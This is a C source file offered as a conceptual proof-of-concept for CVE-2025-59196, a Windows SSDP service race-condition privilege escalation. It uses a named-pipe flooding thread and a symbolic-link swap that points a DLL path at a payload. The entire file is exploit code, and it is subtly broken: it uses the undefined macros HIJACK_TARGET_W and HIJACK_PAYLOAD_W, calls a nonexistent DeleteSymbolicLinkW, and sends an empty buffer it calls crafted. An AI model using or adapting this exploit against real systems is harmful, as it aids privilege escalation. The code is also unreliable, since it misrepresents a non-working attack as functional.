// CVE-2025-59196 - Windows SSDP Service Race Condition LPE PoC (Concept)
// WARNING: This is a conceptual PoC for educational purposes only.
// Race condition exploitation in Windows SSDP Service for local privilege escalation.
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#define SSDP_SERVICE_PORT 1900
#define TARGET_DEVICE_TYPE "upnp:rootdevice"
#define RACE_ITERATIONS 1000
// Symbolic link target for hijacking SSDP service resources
#define HIJACK_TARGET "C:\\Windows\\System32\\svchost.exe"
#define HIJACK_PAYLOAD "C:\\Temp\\payload.dll"
// Thread function to repeatedly trigger SSDP device registration
DWORD WINAPI SSDPRaceThread(LPVOID lpParam) {
for (int i = 0; i < RACE_ITERATIONS; i++) {
// Trigger SSDP service to process device registration
// This causes SSDP service to check and modify shared resources
HANDLE hDevice = CreateFile(
"\\\\.\\pipe\\SSDPService",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
if (hDevice != INVALID_HANDLE_VALUE) {
// Send crafted SSDP M-SEARCH or NOTIFY request via named pipe
char buffer[4096] = {0};
DWORD bytesWritten;
WriteFile(hDevice, buffer, sizeof(buffer), &bytesWritten, NULL);
CloseHandle(hDevice);
}
Sleep(1);
}
return 0;
}
// Thread function to perform TOCTOU attack by swapping resources
DWORD WINAPI TOCTOUThread(LPVOID lpParam) {
for (int i = 0; i < RACE_ITERATIONS; i++) {
// Step 1: Create symbolic link pointing to legitimate file
// (SSDP service checks this resource)
CreateSymbolicLinkW(
L"C:\\Windows\\Temp\\ssdp_helper.dll",
HIJACK_TARGET_W,
0
);
// Step 2: Immediately swap to malicious payload
// (SSDP service uses this resource after the check)
DeleteSymbolicLinkW(L"C:\\Windows\\Temp\\ssdp_helper.dll");
CreateSymbolicLinkW(
L"C:\\Windows\\Temp\\ssdp_helper.dll",
HIJACK_PAYLOAD_W,
0
);
Sleep(1);
}
return 0;
}
int main() {
printf("[+] CVE-2025-59196 SSDP Race Condition LPE PoC\n");
printf("[+] Starting race condition exploit...\n");
// Launch multiple threads to increase race condition probability
HANDLE hThreads[2];
hThreads[0] = CreateThread(NULL, 0, SSDPRaceThread, NULL, 0, NULL);
hThreads[1] = CreateThread(NULL, 0, TOCTOUThread, NULL, 0, NULL);
// Wait for exploit to complete
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
CloseHandle(hThreads[0]);
CloseHandle(hThreads[1]);
printf("[+] Exploit completed. Check for privilege escalation.\n");
return 0;
}